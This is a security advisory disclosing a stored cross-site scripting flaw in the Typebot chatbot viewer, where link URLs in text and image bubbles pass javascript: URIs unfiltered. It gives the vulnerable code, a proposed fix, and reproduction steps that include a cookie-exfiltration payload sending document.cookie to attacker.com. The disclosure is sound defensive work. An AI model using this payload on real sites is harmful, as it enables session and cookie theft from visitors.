GHSA-hqmv-v56g-4m47

### Summary

The Typebot viewer (`packages/embeds/js`) renders anchor tags from rich text bubble content without filtering the `javascript:` URI scheme. A bot author can set a link URL to `javascript:PAYLOAD`, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens.

### Details

Vulnerable file: `packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx`

```tsx // Line 32 — href set directly from stored bot content, no javascript: filtering <a href={elementDescendant.url as string} target="_blank" rel="noopener noreferrer"> {elementDescendant.children[0].text} </a> ```

SolidJS does not sanitize `href` attribute values — `javascript:` URIs pass through to the DOM unchanged.

The same issue exists in `ImageBubble.tsx` line 102 for image link wrapping.

### Steps to Reproduce

``` 1. Log in to Typebot as an authenticated user (any plan) 2. Create a new bot 3. Add a Text Bubble block 4. In the rich text editor, type any link text and set the URL to: javascript:fetch('https://attacker.com/?c='+document.cookie) 5. Publish the bot and open the live/embedded viewer 6. Click the link in the chatbot interface 7. The JavaScript executes in the browser — cookie exfiltration request sent to attacker.com ```

Source-verified: `PlateBlock.tsx:32` renders `<a href={url}>` with no scheme filtering. Puppeteer alert confirmed `document.domain` execution when link clicked.

### Impact

- Any authenticated Typebot user (including free tier) can create a bot with this payload - When shared or embedded in a third-party site, clicking the link executes JS in the host page's origin - Allows stealing cookies, session tokens, or any data accessible to the embedding page - Shared bots are publicly accessible — no victim authentication required

### Proposed Fix

Filter `javascript:` URIs before rendering anchor tags:

```tsx const safeUrl = (url: string) => /^javascript:/i.test(url.trim()) ? '#' : url

<a href={safeUrl(elementDescendant.url as string)} ...> ```

Alternatively, use a URL allowlist (only `https:`, `http:`, `mailto:`, `tel:`).